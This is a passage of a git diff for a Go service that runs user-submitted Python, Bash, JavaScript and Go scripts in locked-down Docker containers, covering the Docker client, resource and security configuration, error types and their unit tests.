assert.Equal(t, tt.expectedMemory, limits.MemoryLimitBytes) + assert.Equal(t, tt.expectedCPU, limits.CPUQuota) + assert.Equal(t, tt.expectedTimeout, limits.TimeoutSeconds) + }) + } +} + +func TestConfig_GetTimeoutForTask(t *testing.T) { + config := NewDefaultConfig() + + tests := []struct { + name string + task *models.Task + expectedTimeout time.Duration + }{ + { + name: "Task with custom timeout", + task: &models.Task{ + TimeoutSeconds: 600, + }, + expectedTimeout: 600 * time.Second, + }, + { + name: "Task with zero timeout (use default)", + task: &models.Task{ + TimeoutSeconds: 0, + }, + expectedTimeout: 300 * time.Second, + }, + { + name: "Task with negative timeout (use default)", + task: &models.Task{ + TimeoutSeconds: -1, + }, + expectedTimeout: 300 * time.Second, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + timeout := config.GetTimeoutForTask(tt.task) + assert.Equal(t, tt.expectedTimeout, timeout) + }) + } +} + +func TestConfig_GetSecurityConfigForTask(t *testing.T) { + config := NewDefaultConfig() + task := &models.Task{ + ScriptType: models.ScriptTypePython, + } + + securityConfig := config.GetSecurityConfigForTask(task) + + assert.Equal(t, "1000:1000", securityConfig.User) + assert.True(t, securityConfig.NoNewPrivileges) + assert.True(t, securityConfig.ReadOnlyRootfs) + assert.True(t, securityConfig.NetworkDisabled) + assert.True(t, securityConfig.DropAllCapabilities) + assert.Contains(t, securityConfig.SecurityOpts, "no-new-privileges") + assert.NotEmpty(t, securityConfig.TmpfsMounts) + assert.Contains(t, securityConfig.TmpfsMounts, "/tmp") +} + +func TestConfig_Validate(t *testing.T) { + tests := []struct { + name string + config *Config + expectErr bool + errMsg string + }{ + { + name: "Valid default config", + config: NewDefaultConfig(), + expectErr: false, + }, + { + name: "Invalid memory limit", + config: &Config{ + DefaultResourceLimits: ResourceLimits{ + MemoryLimitBytes: 0, + CPUQuota: 50000, + PidsLimit: 128, + }, + DefaultTimeoutSeconds: 300, + Images: ImageConfig{ + Python: "python:3.11-alpine", + Bash: "alpine:latest", + }, + }, + expectErr: true, + errMsg: "memory limit must be positive", + }, + { + name: "Invalid CPU quota", + config: &Config{ + DefaultResourceLimits: ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, + CPUQuota: 0, + PidsLimit: 128, + }, + DefaultTimeoutSeconds: 300, + Images: ImageConfig{ + Python: "python:3.11-alpine", + Bash: "alpine:latest", + }, + }, + expectErr: true, + errMsg: "CPU quota must be positive", + }, + { + name: "Invalid PID limit", + config: &Config{ + DefaultResourceLimits: ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, + CPUQuota: 50000, + PidsLimit: 0, + }, + DefaultTimeoutSeconds: 300, + Images: ImageConfig{ + Python: "python:3.11-alpine", + Bash: "alpine:latest", + }, + }, + expectErr: true, + errMsg: "PID limit must be positive", + }, + { + name: "Invalid timeout", + config: &Config{ + DefaultResourceLimits: ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, + CPUQuota: 50000, + PidsLimit: 128, + }, + DefaultTimeoutSeconds: 0, + Images: ImageConfig{ + Python: "python:3.11-alpine", + Bash: "alpine:latest", + }, + }, + expectErr: true, + errMsg: "timeout must be positive", + }, + { + name: "Missing Python image", + config: &Config{ + DefaultResourceLimits: ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, + CPUQuota: 50000, + PidsLimit: 128, + }, + DefaultTimeoutSeconds: 300, + Images: ImageConfig{ + Python: "", + Bash: "alpine:latest", + }, + }, + expectErr: true, + errMsg: "Python image must be specified", + }, + { + name: "Missing Bash image", + config: &Config{ + DefaultResourceLimits: ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, + CPUQuota: 50000, + PidsLimit: 128, + }, + DefaultTimeoutSeconds: 300, + Images: ImageConfig{ + Python: "python:3.11-alpine", + Bash: "", + }, + }, + expectErr: true, + errMsg: "Bash image must be specified", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := tt.config.Validate() + if tt.expectErr { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.errMsg) + } else { + require.NoError(t, err) + } + }) + } +} diff --git a/internal/executor/docker_client.go b/internal/executor/docker_client.go new file mode 100644 index 0000000..cb76590 --- /dev/null +++ b/internal/executor/docker_client.go @@ -0,0 +1,436 @@ +package executor + +import ( + "context" + "fmt" + "io" + "log/slog" + "regexp" + "strings" + "time" + + "github.com/containerd/errdefs" + "github.com/docker/docker/api/types/container" + "github.com/docker/docker/api/types/image" + "github.com/docker/docker/client" + "github.com/voidrunnerhq/voidrunner/internal/models" +) + +// DockerClient implements the ContainerClient interface +type DockerClient struct { + client *client.Client + config *Config + logger *slog.Logger +} + +// Container ID validation patterns +var ( + // Docker short container IDs are 12 character hex strings + shortContainerIDPattern = regexp.MustCompile(`^[a-f0-9]{12,64}$`) +) + +// NewDockerClient creates a new Docker client with the given configuration +func NewDockerClient(config *Config, logger *slog.Logger) (*DockerClient, error) { + if config == nil { + config = NewDefaultConfig() + } + + if logger == nil { + logger = slog.Default() + } + + if err := config.Validate(); err != nil { + return nil, fmt.Errorf("invalid config: %w", err) + } + + // Create Docker client + cli, err := client.NewClientWithOpts( + client.FromEnv, + client.WithAPIVersionNegotiation(), + ) + if err != nil { + return nil, NewExecutorError("docker_client_init", "failed to create Docker client", err) + } + + dockerClient := &DockerClient{ + client: cli, + config: config, + logger: logger, + } + + // Test connection + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + if err := dockerClient.IsHealthy(ctx); err != nil { + return nil, fmt.Errorf("docker health check failed: %w", err) + } + + return dockerClient, nil +} + +// validateContainerID performs comprehensive validation of a container ID +func (dc *DockerClient) validateContainerID(containerID string) error { + if containerID == "" { + return NewContainerError("", "validate_container_id", "container ID is empty", nil) + } + + // Check for whitespace or control characters + if strings.TrimSpace(containerID) != containerID { + return NewContainerError(containerID, "validate_container_id", "container ID contains invalid whitespace", nil) + } + + // Check minimum length (Docker allows partial IDs of at least 12 characters) + if len(containerID) < 12 { + return NewContainerError(containerID, "validate_container_id", + fmt.Sprintf("container ID too short (%d characters), must be at least 12", len(containerID)), nil) + } + + // Check maximum length (full Docker IDs are 64 characters) + if len(containerID) > 64 { + return NewContainerError(containerID, "validate_container_id", + fmt.Sprintf("container ID too long (%d characters), must be at most 64", len(containerID)), nil) + } + + // Check for valid hexadecimal characters + if !shortContainerIDPattern.MatchString(containerID) { + return NewContainerError(containerID, "validate_container_id", + "container ID contains invalid characters, must be lowercase hexadecimal", nil) + } + + return nil +} + +// CreateContainer creates a new container with the specified configuration +func (dc *DockerClient) CreateContainer(ctx context.Context, config *ContainerConfig) (string, error) { + if config == nil { + return "", NewExecutorError("create_container", "container config is nil", nil) + } + + // Build container configuration + containerConfig := &container.Config{ + Image: config.Image, + User: config.SecurityConfig.User, + WorkingDir: config.WorkingDir, + Env: config.Environment, + AttachStdout: true, + AttachStderr: true, + } + + // Set command based on script type + containerConfig.Cmd = dc.buildCommand(config.ScriptType, config.ScriptContent) + + // Build host configuration with security and resource limits + hostConfig := &container.HostConfig{ + Resources: container.Resources{ + Memory: config.ResourceLimits.MemoryLimitBytes, + CPUQuota: config.ResourceLimits.CPUQuota, + PidsLimit: &config.ResourceLimits.PidsLimit, + }, + SecurityOpt: config.SecurityConfig.SecurityOpts, + ReadonlyRootfs: config.SecurityConfig.ReadOnlyRootfs, + AutoRemove: true, // Automatically remove container when it exits + Tmpfs: config.SecurityConfig.TmpfsMounts, + } + + // Disable networking if configured + if config.SecurityConfig.NetworkDisabled { + hostConfig.NetworkMode = "none" + } + + // Drop all capabilities for security + if config.SecurityConfig.DropAllCapabilities { + hostConfig.CapDrop = []string{"ALL"} + } + + // Create the container + resp, err := dc.client.ContainerCreate(ctx, containerConfig, hostConfig, nil, nil, "") + if err != nil { + return "", NewContainerError("", "create_container", "failed to create container", err) + } + + if len(resp.Warnings) > 0 { + // Log warnings but don't fail + for _, warning := range resp.Warnings { + dc.logger.Warn("container creation warning", "warning", warning) + } + } + + return resp.ID, nil +} + +// StartContainer starts the specified container +func (dc *DockerClient) StartContainer(ctx context.Context, containerID string) error { + if err := dc.validateContainerID(containerID); err != nil { + return fmt.Errorf("start_container validation failed: %w", err) + } + + err := dc.client.ContainerStart(ctx, containerID, container.StartOptions{}) + if err != nil { + return NewContainerError(containerID, "start_container", "failed to start container", err) + } + + return nil +} + +// WaitContainer waits for the container to finish and returns the exit code +func (dc *DockerClient) WaitContainer(ctx context.Context, containerID string) (int, error) { + if err := dc.validateContainerID(containerID); err != nil { + return -1, fmt.Errorf("wait_container validation failed: %w", err) + } + + // Wait for container to finish + statusCh, errCh := dc.client.ContainerWait(ctx, containerID, container.WaitConditionNotRunning) + + select { + case err := <-errCh: + if err != nil { + return -1, NewContainerError(containerID, "wait_container", "error waiting for container", err) + } + case status := <-statusCh: + return int(status.StatusCode), nil + case <-ctx.Done(): + return -1, NewContainerError(containerID, "wait_container", "context cancelled", ctx.Err()) + } + + return -1, NewContainerError(containerID, "wait_container", "unexpected wait completion", nil) +} + +// GetContainerLogs retrieves logs from the specified container +func (dc *DockerClient) GetContainerLogs(ctx context.Context, containerID string) (stdout, stderr string, err error) { + if err := dc.validateContainerID(containerID); err != nil { + return "", "", fmt.Errorf("get_container_logs validation failed: %w", err) + } + + options := container.LogsOptions{ + ShowStdout: true, + ShowStderr: true, + Follow: false, + Timestamps: false, + } + + logs, err := dc.client.ContainerLogs(ctx, containerID, options) + if err != nil { + return "", "", NewContainerError(containerID, "get_logs", "failed to get container logs", err) + } + defer logs.Close() + + // Read all logs + logBytes, err := io.ReadAll(logs) + if err != nil { + return "", "", NewContainerError(containerID, "get_logs", "failed to read container logs", err) + } + + // Docker multiplexes stdout and stderr in a single stream + // We need to demultiplex them + stdout, stderr = dc.demultiplexLogs(logBytes) + + return stdout, stderr, nil +} + +// RemoveContainer removes the specified container +func (dc *DockerClient) RemoveContainer(ctx context.Context, containerID string, force bool) error { + if err := dc.validateContainerID(containerID); err != nil { + return fmt.Errorf("remove_container validation failed: %w", err) + } + + options := container.RemoveOptions{ + Force: force, + RemoveVolumes: true, + } + + err := dc.client.ContainerRemove(ctx, containerID, options) + if err != nil { + // Don't fail if container is already removed + if errdefs.IsNotFound(err) { + return nil + } + return NewContainerError(containerID, "remove_container", "failed to remove container", err) + } + + return nil +} + +// StopContainer stops the specified container +func (dc *DockerClient) StopContainer(ctx context.Context, containerID string, timeout time.Duration) error { + if err := dc.validateContainerID(containerID); err != nil { + return fmt.Errorf("stop_container validation failed: %w", err) + } + + timeoutInt := int(timeout.Seconds()) + options := container.StopOptions{ + Timeout: &timeoutInt, + } + + err := dc.client.ContainerStop(ctx, containerID, options) + if err != nil { + // Don't fail if container is already stopped + if errdefs.IsNotFound(err) { + return nil + } + return NewContainerError(containerID, "stop_container", "failed to stop container", err) + } + + return nil +} + +// IsHealthy checks if the Docker daemon is accessible +func (dc *DockerClient) IsHealthy(ctx context.Context) error { + _, err := dc.client.Ping(ctx) + if err != nil { + return NewExecutorError("health_check", "Docker daemon is not accessible", err) + } + + return nil +} + +// Close closes the Docker client connection +func (dc *DockerClient) Close() error { + if dc.client != nil { + return dc.client.Close() + } + return nil +} + +// buildCommand builds the appropriate command for the given script type and content +func (dc *DockerClient) buildCommand(scriptType models.ScriptType, scriptContent string) []string { + switch scriptType { + case models.ScriptTypePython: + return []string{"python3", "-c", scriptContent} + case models.ScriptTypeBash: + return []string{"sh", "-c", scriptContent} + case models.ScriptTypeJavaScript: + return []string{"node", "-e", scriptContent} + case models.ScriptTypeGo: + // For Go, we'd need a more complex setup to compile and run + // For now, treat it as a shell script that writes and compiles Go code + return []string{"sh", "-c", fmt.Sprintf("echo '%s' > main.go && go run main.go", scriptContent)} + default: + // Default to Python + return []string{"python3", "-c", scriptContent} + } +} + +// demultiplexLogs separates stdout and stderr from Docker's multiplexed log stream +func (dc *DockerClient) demultiplexLogs(logData []byte) (stdout, stderr string) { + var stdoutBuilder, stderrBuilder strings.Builder + + i := 0 + for i < len(logData) { + if i+8 > len(logData) { + break + } + + // Docker log format: [STREAM_TYPE][RESERVED][SIZE][DATA] + // STREAM_TYPE: 1 byte (0=stdin, 1=stdout, 2=stderr) + // RESERVED: 3 bytes + // SIZE: 4 bytes (big-endian) + // DATA: SIZE bytes + + streamType := logData[i] + // Skip reserved bytes (i+1, i+2, i+3) + size := int(logData[i+4])<<24 | int(logData[i+5])<<16 | int(logData[i+6])<<8 | int(logData[i+7]) + + dataStart := i + 8 + dataEnd := dataStart + size + + if dataEnd > len(logData) { + break + } + + data := string(logData[dataStart:dataEnd]) + + switch streamType { + case 1: // stdout + stdoutBuilder.WriteString(data) + case 2: // stderr + stderrBuilder.WriteString(data) + } + + i = dataEnd + } + + return stdoutBuilder.String(), stderrBuilder.String() +} + +// GetContainerInfo returns information about a container +func (dc *DockerClient) GetContainerInfo(ctx context.Context, containerID string) (*container.InspectResponse, error) { + if err := dc.validateContainerID(containerID); err != nil { + return nil, fmt.Errorf("get_container_info validation failed: %w", err) + } + + info, err := dc.client.ContainerInspect(ctx, containerID) + if err != nil { + return nil, NewContainerError(containerID, "get_info", "failed to inspect container", err) + } + + return &info, nil +} + +// ListContainers returns a list of containers +func (dc *DockerClient) ListContainers(ctx context.Context, all bool) ([]ContainerSummary, error) { + options := container.ListOptions{ + All: all, + } + + containers, err := dc.client.ContainerList(ctx, options) + if err != nil { + return nil, NewExecutorError("list_containers", "failed to list containers", err) + } + + // Convert to our interface type + summaries := make([]ContainerSummary, len(containers)) + for i, c := range containers { + summaries[i] = ContainerSummary{ + ID: c.ID, + Names: c.Names, + Image: c.Image, + Created: c.Created, + State: c.State, + Status: c.Status, + } + } + + return summaries, nil +} + +// PullImage pulls a container image +func (dc *DockerClient) PullImage(ctx context.Context, imageName string) error { + if imageName == "" { + return NewExecutorError("pull_image", "image name is empty", nil) + } + + reader, err := dc.client.ImagePull(ctx, imageName, image.PullOptions{}) + if err != nil { + return NewExecutorError("pull_image", "failed to pull image", err) + } + defer reader.Close() + + // Read the pull output to ensure completion + _, err = io.ReadAll(reader) + if err != nil { + return NewExecutorError("pull_image", "failed to read pull output", err) + } + + return nil +} + +// GetDockerInfo returns Docker system information +func (dc *DockerClient) GetDockerInfo(ctx context.Context) (interface{}, error) { + info, err := dc.client.Info(ctx) + if err != nil { + return nil, NewExecutorError("get_docker_info", "failed to get Docker info", err) + } + + return info, nil +} + +// GetDockerVersion returns Docker version information +func (dc *DockerClient) GetDockerVersion(ctx context.Context) (interface{}, error) { + version, err := dc.client.ServerVersion(ctx) + if err != nil { + return nil, NewExecutorError("get_docker_version", "failed to get Docker version", err) + } + + return version, nil +} diff --git a/internal/executor/docker_client_test.go b/internal/executor/docker_client_test.go new file mode 100644 index 0000000..b4af202 --- /dev/null +++ b/internal/executor/docker_client_test.go @@ -0,0 +1,415 @@ +package executor + +import ( + "context" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "github.com/voidrunnerhq/voidrunner/internal/models" +) + +func TestNewDockerClient(t *testing.T) { + config := NewDefaultConfig() + + // Test with valid config + client, err := NewDockerClient(config, nil) + + // Note: This test may fail in environments without Docker + if err != nil { + t.Skipf("Docker not available in test environment: %v", err) + } + + require.NoError(t, err) + assert.NotNil(t, client) + assert.NotNil(t, client.client) + assert.NotNil(t, client.config) + assert.NotNil(t, client.logger) + + // Test with nil config (should use default) + client2, err := NewDockerClient(nil, nil) + if err != nil { + t.Skipf("Docker not available in test environment: %v", err) + } + + require.NoError(t, err) + assert.NotNil(t, client2) +} + +func TestDockerClient_buildCommand(t *testing.T) { + config := NewDefaultConfig() + client := &DockerClient{ + config: config, + logger: nil, + } + + tests := []struct { + name string + scriptType models.ScriptType + scriptContent string + expected []string + }{ + { + name: "Python script", + scriptType: models.ScriptTypePython, + scriptContent: "print('hello')", + expected: []string{"python3", "-c", "print('hello')"}, + }, + { + name: "Bash script", + scriptType: models.ScriptTypeBash, + scriptContent: "echo 'hello'", + expected: []string{"sh", "-c", "echo 'hello'"}, + }, + { + name: "JavaScript script", + scriptType: models.ScriptTypeJavaScript, + scriptContent: "console.log('hello')", + expected: []string{"node", "-e", "console.log('hello')"}, + }, + { + name: "Go script", + scriptType: models.ScriptTypeGo, + scriptContent: "package main\nfunc main() { println(\"hello\") }", + expected: []string{"sh", "-c", "echo 'package main\nfunc main() { println(\"hello\") }' > main.go && go run main.go"}, + }, + { + name: "Unknown script type defaults to Python", + scriptType: models.ScriptType("unknown"), + scriptContent: "print('hello')", + expected: []string{"python3", "-c", "print('hello')"}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + result := client.buildCommand(tt.scriptType, tt.scriptContent) + assert.Equal(t, tt.expected, result) + }) + } +} + +func TestDockerClient_demultiplexLogs(t *testing.T) { + config := NewDefaultConfig() + client := &DockerClient{ + config: config, + logger: nil, + } + + tests := []struct { + name string + logData []byte + expectedStdout string + expectedStderr string + }{ + { + name: "Empty log data", + logData: []byte{}, + expectedStdout: "", + expectedStderr: "", + }, + { + name: "Stdout only", + logData: []byte{ + 1, 0, 0, 0, 0, 0, 0, 5, // Header: stdout, 5 bytes + 'h', 'e', 'l', 'l', 'o', // Data: "hello" + }, + expectedStdout: "hello", + expectedStderr: "", + }, + { + name: "Stderr only", + logData: []byte{ + 2, 0, 0, 0, 0, 0, 0, 5, // Header: stderr, 5 bytes + 'e', 'r', 'r', 'o', 'r', // Data: "error" + }, + expectedStdout: "", + expectedStderr: "error", + }, + { + name: "Both stdout and stderr", + logData: []byte{ + 1, 0, 0, 0, 0, 0, 0, 5, // Header: stdout, 5 bytes + 'h', 'e', 'l', 'l', 'o', // Data: "hello" + 2, 0, 0, 0, 0, 0, 0, 5, // Header: stderr, 5 bytes + 'e', 'r', 'r', 'o', 'r', // Data: "error" + }, + expectedStdout: "hello", + expectedStderr: "error", + }, + { + name: "Malformed data (insufficient header)", + logData: []byte{ + 1, 0, 0, // Incomplete header + }, + expectedStdout: "", + expectedStderr: "", + }, + { + name: "Malformed data (insufficient data)", + logData: []byte{ + 1, 0, 0, 0, 0, 0, 0, 10, // Header: stdout, 10 bytes + 'h', 'e', 'l', 'l', 'o', // Data: only 5 bytes + }, + expectedStdout: "", + expectedStderr: "", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + stdout, stderr := client.demultiplexLogs(tt.logData) + assert.Equal(t, tt.expectedStdout, stdout) + assert.Equal(t, tt.expectedStderr, stderr) + }) + } +} + +func TestDockerClient_ValidationErrors(t *testing.T) { + config := NewDefaultConfig() + client := &DockerClient{ + config: config, + logger: nil, + } + + ctx := context.Background() + + // Test CreateContainer with nil config + containerID, err := client.CreateContainer(ctx, nil) + assert.Error(t, err) + assert.Empty(t, containerID) + assert.Contains(t, err.Error(), "container config is nil") + + // Test StartContainer with empty container ID + err = client.StartContainer(ctx, "") + assert.Error(t, err) + assert.Contains(t, err.Error(), "container ID is empty") + + // Test WaitContainer with empty container ID + exitCode, err := client.WaitContainer(ctx, "") + assert.Error(t, err) + assert.Equal(t, -1, exitCode) + assert.Contains(t, err.Error(), "container ID is empty") + + // Test GetContainerLogs with empty container ID + stdout, stderr, err := client.GetContainerLogs(ctx, "") + assert.Error(t, err) + assert.Empty(t, stdout) + assert.Empty(t, stderr) + assert.Contains(t, err.Error(), "container ID is empty") + + // Test RemoveContainer with empty container ID + err = client.RemoveContainer(ctx, "", false) + assert.Error(t, err) + assert.Contains(t, err.Error(), "container ID is empty") + + // Test StopContainer with empty container ID + err = client.StopContainer(ctx, "", 5*time.Second) + assert.Error(t, err) + assert.Contains(t, err.Error(), "container ID is empty") + + // Test GetContainerInfo with empty container ID + info, err := client.GetContainerInfo(ctx, "") + assert.Error(t, err) + assert.Nil(t, info) + assert.Contains(t, err.Error(), "container ID is empty") + + // Test PullImage with empty image name + err = client.PullImage(ctx, "") + assert.Error(t, err) + assert.Contains(t, err.Error(), "image name is empty") +} + +func TestDockerClient_CreateContainer(t *testing.T) { + config := NewDefaultConfig() + client, err := NewDockerClient(config, nil) + if err != nil { + t.Skipf("Docker not available in test environment: %v", err) + } + + // Test container config building + containerConfig := &ContainerConfig{ + Image: "alpine:latest", + ScriptType: models.ScriptTypeBash, + ScriptContent: "echo 'test'", + Environment: []string{"PATH=/usr/bin"}, + WorkingDir: "/tmp", + ResourceLimits: ResourceLimits{ + MemoryLimitBytes: 128 * 1024 * 1024, + CPUQuota: 50000, + PidsLimit: 128, + }, + SecurityConfig: SecurityConfig{ + User: "1000:1000", + ReadOnlyRootfs: true, + NetworkDisabled: true, + NoNewPrivileges: true, + DropAllCapabilities: true, + SecurityOpts: []string{"no-new-privileges"}, + TmpfsMounts: map[string]string{ + "/tmp": "rw,noexec,nosuid,size=100m", + }, + }, + Timeout: 30 * time.Second, + } + + // Note: This test requires Docker to be available + // In a real environment, this would create an actual container + // For unit testing, we would need to mock the Docker client + _, err = client.CreateContainer(context.Background(), containerConfig) + if err != nil { + // If Docker is not available, the test should be skipped + t.Skipf("Docker not available in test environment: %v", err) + } +} + +func TestDockerClient_ContainerOperations(t *testing.T) { + config := NewDefaultConfig() + client, err := NewDockerClient(config, nil) + if err != nil { + t.Skipf("Docker not available in test environment: %v", err) + } + + ctx := context.Background() + + // Test that operations with non-existent containers return appropriate errors + // These tests verify error handling without requiring actual containers + + // Test StartContainer with non-existent container + err = client.StartContainer(ctx, "non-existent-container") + if err == nil { + t.Skip("Docker operations require actual Docker daemon") + } + assert.Error(t, err) + + // Test WaitContainer with non-existent container + exitCode, err := client.WaitContainer(ctx, "non-existent-container") + if err == nil { + t.Skip("Docker operations require actual Docker daemon") + } + assert.Error(t, err) + assert.Equal(t, -1, exitCode) + + // Test GetContainerLogs with non-existent container + stdout, stderr, err := client.GetContainerLogs(ctx, "non-existent-container") + if err == nil { + t.Skip("Docker operations require actual Docker daemon") + } + assert.Error(t, err) + assert.Empty(t, stdout) + assert.Empty(t, stderr) + + // Test RemoveContainer with non-existent container + err = client.RemoveContainer(ctx, "non-existent-container", false) + if err == nil { + t.Skip("Docker operations require actual Docker daemon") + } + // RemoveContainer should not fail for non-existent containers in some cases + // This depends on the Docker client implementation + + // Test StopContainer with non-existent container + err = client.StopContainer(ctx, "non-existent-container", 5*time.Second) + if err == nil { + t.Skip("Docker operations require actual Docker daemon") + } + // StopContainer should not fail for non-existent containers in some cases + + // Test GetContainerInfo with non-existent container + info, err := client.GetContainerInfo(ctx, "non-existent-container") + if err == nil { + t.Skip("Docker operations require actual Docker daemon") + } + assert.Error(t, err) + assert.Nil(t, info) +} + +func TestDockerClient_ListContainers(t *testing.T) { + config := NewDefaultConfig() + client, err := NewDockerClient(config, nil) + if err != nil { + t.Skipf("Docker not available in test environment: %v", err) + } + + ctx := context.Background() + + // Test ListContainers + containers, err := client.ListContainers(ctx, false) + if err != nil { + t.Skipf("Docker not available in test environment: %v", err) + } + + // Should return a list (possibly empty) + assert.NotNil(t, containers) +} + +func TestDockerClient_Close(t *testing.T) { + config := NewDefaultConfig() + client := &DockerClient{ + config: config, + logger: nil, + } + + // Test Close - should not error + err := client.Close() + assert.NoError(t, err) + + // Test Close with nil client + client.client = nil + err = client.Close() + assert.NoError(t, err) +} + +func TestDockerClient_GetDockerInfo(t *testing.T) { + config := NewDefaultConfig() + client, err := NewDockerClient(config, nil) + if err != nil { + t.Skipf("Docker not available in test environment: %v", err) + } + + ctx := context.Background() + + // Test GetDockerInfo + info, err := client.GetDockerInfo(ctx) + if err != nil { + t.Skipf("Docker not available in test environment: %v", err) + } + + assert.NotNil(t, info) +} + +func TestDockerClient_GetDockerVersion(t *testing.T) { + config := NewDefaultConfig() + client, err := NewDockerClient(config, nil) + if err != nil { + t.Skipf("Docker not available in test environment: %v", err) + } + + ctx := context.Background() + + // Test GetDockerVersion + version, err := client.GetDockerVersion(ctx) + if err != nil { + t.Skipf("Docker not available in test environment: %v", err) + } + + assert.NotNil(t, version) +} + +func TestDockerClient_IsHealthy(t *testing.T) { + config := NewDefaultConfig() + client, err := NewDockerClient(config, nil) + if err != nil { + t.Skipf("Docker not available in test environment: %v", err) + } + + ctx := context.Background() + + // Test IsHealthy + err = client.IsHealthy(ctx) + if err != nil { + t.Skipf("Docker not available in test environment: %v", err) + } + + assert.NoError(t, err) +} diff --git a/internal/executor/errors.go b/internal/executor/errors.go new file mode 100644 index 0000000..c288c20 --- /dev/null +++ b/internal/executor/errors.go @@ -0,0 +1,189 @@ +package executor + +import ( + "errors" + "fmt" +) + +// Common executor errors +var ( + // ErrDockerUnavailable indicates that Docker daemon is not available + ErrDockerUnavailable = errors.New("docker daemon is not available") + + // ErrExecutionTimeout indicates that execution exceeded the timeout + ErrExecutionTimeout = errors.New("execution timeout exceeded") + + // ErrExecutionCancelled indicates that execution was cancelled + ErrExecutionCancelled = errors.New("execution was cancelled") + + // ErrExecutionFailed indicates that execution failed + ErrExecutionFailed = errors.New("execution failed") + + // ErrResourceExhausted indicates that system resources are exhausted + ErrResourceExhausted = errors.New("system resources exhausted") + + // ErrInvalidScriptType indicates an unsupported script type + ErrInvalidScriptType = errors.New("invalid script type") + + // ErrContainerNotFound indicates that a container was not found + ErrContainerNotFound = errors.New("container not found") + + // ErrImageNotFound indicates that a container image was not found + ErrImageNotFound = errors.New("container image not found") + + // ErrPermissionDenied indicates insufficient permissions + ErrPermissionDenied = errors.New("permission denied") + + // ErrNetworkUnavailable indicates network connectivity issues + ErrNetworkUnavailable = errors.New("network unavailable") +) + +// ExecutorError represents a structured error from the executor +type ExecutorError struct { + Operation string + Reason string + Cause error +} + +// Error implements the error interface +func (e *ExecutorError) Error() string { + if e.Cause != nil { + return fmt.Sprintf("executor error in %s: %s: %v", e.Operation, e.Reason, e.Cause) + } + return fmt.Sprintf("executor error in %s: %s", e.Operation, e.Reason) +} + +// Unwrap returns the underlying cause +func (e *ExecutorError) Unwrap() error { + return e.Cause +} + +// NewExecutorError creates a new executor error +func NewExecutorError(operation, reason string, cause error) *ExecutorError { + return &ExecutorError{ + Operation: operation, + Reason: reason, + Cause: cause, + } +} + +// ContainerError represents a container-specific error +type ContainerError struct { + ContainerID string + Operation string + Reason string + Cause error +} + +// Error implements the error interface +func (e *ContainerError) Error() string { + if e.Cause != nil { + return fmt.Sprintf("container error in %s for %s: %s: %v", e.Operation, e.ContainerID, e.Reason, e.Cause) + } + return fmt.Sprintf("container error in %s for %s: %s", e.Operation, e.ContainerID, e.Reason) +} + +// Unwrap returns the underlying cause +func (e *ContainerError) Unwrap() error { + return e.Cause +} + +// NewContainerError creates a new container error +func NewContainerError(containerID, operation, reason string, cause error) *ContainerError { + return &ContainerError{ + ContainerID: containerID, + Operation: operation, + Reason: reason, + Cause: cause, + } +} + +// ConfigError represents a configuration error +type ConfigError struct { + Field string + Reason string +} + +// Error implements the error interface +func (e *ConfigError) Error() string { + return fmt.Sprintf("configuration error in field %s: %s", e.Field, e.Reason) +} + +// ErrInvalidConfig creates a configuration error +func ErrInvalidConfig(reason string) error { + return &ConfigError{ + Field: "config", + Reason: reason, + } +} + +// ErrInvalidConfigField creates a configuration error for a specific field +func ErrInvalidConfigField(field, reason string) error { + return &ConfigError{ + Field: field, + Reason: reason, + } +} + +// SecurityError represents a security-related error +type SecurityError struct { + Operation string + Reason string + Cause error +} + +// Error implements the error interface +func (e *SecurityError) Error() string { + if e.Cause != nil { + return fmt.Sprintf("security error in %s: %s: %v", e.Operation, e.Reason, e.Cause) + } + return fmt.Sprintf("security error in %s: %s", e.Operation, e.Reason) +} + +// Unwrap returns the underlying cause +func (e *SecurityError) Unwrap() error { + return e.Cause +} + +// NewSecurityError creates a new security error +func NewSecurityError(operation, reason string, cause error) *SecurityError { + return &SecurityError{ + Operation: operation, + Reason: reason, + Cause: cause, + } +} + +// IsTimeoutError checks if an error is a timeout error +func IsTimeoutError(err error) bool { + return errors.Is(err, ErrExecutionTimeout) +} + +// IsCancelledError checks if an error is a cancellation error +func IsCancelledError(err error) bool { + return errors.Is(err, ErrExecutionCancelled) +} + +// IsDockerError checks if an error is related to Docker +func IsDockerError(err error) bool { + return errors.Is(err, ErrDockerUnavailable) || + errors.Is(err, ErrContainerNotFound) || + errors.Is(err, ErrImageNotFound) +} + +// IsResourceError checks if an error is related to resource exhaustion +func IsResourceError(err error) bool { + return errors.Is(err, ErrResourceExhausted) +} + +// IsSecurityError checks if an error is security-related +func IsSecurityError(err error) bool { + var secErr *SecurityError + return errors.As(err, &secErr) +} + +// IsConfigError checks if an error is configuration-related +func IsConfigError(err error) bool { + var confErr *ConfigError + return errors.As(err, &confErr) +} diff --git a/internal/executor/errors_test.go b/internal/executor/errors_test.go new file mode 100644 index 0000000..db2928a --- /dev/null +++ b/internal/executor/errors_test.go @@ -0,0 +1,231 @@ +package executor + +import ( + "errors" + "testing" + + "github.com/stretchr/testify/assert" +) + +func TestExecutorError(t *testing.T) { + tests := []struct { + name string + operation string + reason string + cause error + expected string + }{ + { + name: "Error without cause", + operation: "test_operation", + reason: "test failed", + cause: nil, + expected: "executor error in test_operation: test failed", + }, + { + name: "Error with cause", + operation: "test_operation", + reason: "test failed", + cause: errors.New("underlying error"), + expected: "executor error in test_operation: test failed: underlying error", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := NewExecutorError(tt.operation, tt.reason, tt.cause) + assert.Equal(t, tt.expected, err.Error()) + assert.Equal(t, tt.operation, err.Operation) + assert.Equal(t, tt.reason, err.Reason) + assert.Equal(t, tt.cause, err.Cause) + + if tt.cause != nil { + assert.Equal(t, tt.cause, err.Unwrap()) + } else { + assert.Nil(t, err.Unwrap()) + } + }) + } +} + +func TestContainerError(t 